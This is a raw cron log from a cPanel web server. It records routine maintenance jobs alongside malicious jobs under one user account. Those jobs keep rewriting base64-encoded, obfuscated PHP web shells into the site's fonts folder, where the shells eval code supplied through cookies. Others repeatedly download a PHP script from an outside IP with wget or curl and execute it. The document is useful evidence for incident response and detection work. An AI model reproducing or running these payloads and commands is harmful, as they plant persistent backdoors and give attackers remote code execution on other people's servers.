Sep  1 08:13:01 ip-184-168-122-23 CROND[18215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:13:01 ip-184-168-122-23 CROND[18216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:13:01 ip-184-168-122-23 CROND[18217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:14:01 ip-184-168-122-23 CROND[18320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:14:01 ip-184-168-122-23 CROND[18322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:14:01 ip-184-168-122-23 CROND[18323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:14:01 ip-184-168-122-23 CROND[18325]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:14:01 ip-184-168-122-23 CROND[18324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:15:01 ip-184-168-122-23 CROND[18433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:15:01 ip-184-168-122-23 CROND[18434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:15:01 ip-184-168-122-23 CROND[18438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:15:01 ip-184-168-122-23 CROND[18437]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:15:01 ip-184-168-122-23 CROND[18442]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  1 08:15:01 ip-184-168-122-23 CROND[18444]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:15:01 ip-184-168-122-23 CROND[18440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:16:01 ip-184-168-122-23 CROND[18598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:16:01 ip-184-168-122-23 CROND[18600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:16:01 ip-184-168-122-23 CROND[18599]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:16:01 ip-184-168-122-23 CROND[18604]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:16:01 ip-184-168-122-23 CROND[18605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:16:01 ip-184-168-122-23 CROND[18606]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 08:17:01 ip-184-168-122-23 CROND[18727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:17:01 ip-184-168-122-23 CROND[18730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:17:01 ip-184-168-122-23 CROND[18732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:17:01 ip-184-168-122-23 CROND[18734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:18:01 ip-184-168-122-23 CROND[18918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:18:01 ip-184-168-122-23 CROND[18922]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:18:01 ip-184-168-122-23 CROND[18920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:18:01 ip-184-168-122-23 CROND[18919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:18:01 ip-184-168-122-23 CROND[18923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:19:01 ip-184-168-122-23 CROND[19037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:19:01 ip-184-168-122-23 CROND[19036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:19:01 ip-184-168-122-23 CROND[19038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:19:01 ip-184-168-122-23 CROND[19041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:20:01 ip-184-168-122-23 CROND[19224]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:20:01 ip-184-168-122-23 CROND[19227]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 08:20:01 ip-184-168-122-23 CROND[19228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:20:01 ip-184-168-122-23 CROND[19232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:20:01 ip-184-168-122-23 CROND[19236]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:20:01 ip-184-168-122-23 CROND[19237]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:20:01 ip-184-168-122-23 CROND[19238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:20:01 ip-184-168-122-23 CROND[19234]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 08:20:01 ip-184-168-122-23 CROND[19235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:21:01 ip-184-168-122-23 CROND[19392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:21:01 ip-184-168-122-23 CROND[19394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:21:01 ip-184-168-122-23 CROND[19396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:21:01 ip-184-168-122-23 CROND[19395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:22:01 ip-184-168-122-23 CROND[19521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:22:01 ip-184-168-122-23 CROND[19524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:22:01 ip-184-168-122-23 CROND[19526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:22:01 ip-184-168-122-23 CROND[19523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:22:01 ip-184-168-122-23 CROND[19525]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:23:01 ip-184-168-122-23 CROND[19717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:23:01 ip-184-168-122-23 CROND[19715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:23:01 ip-184-168-122-23 CROND[19716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:23:01 ip-184-168-122-23 CROND[19718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:24:01 ip-184-168-122-23 CROND[19820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:24:01 ip-184-168-122-23 CROND[19822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:24:01 ip-184-168-122-23 CROND[19823]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:24:01 ip-184-168-122-23 CROND[19824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:24:01 ip-184-168-122-23 CROND[19825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:25:01 ip-184-168-122-23 CROND[19918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
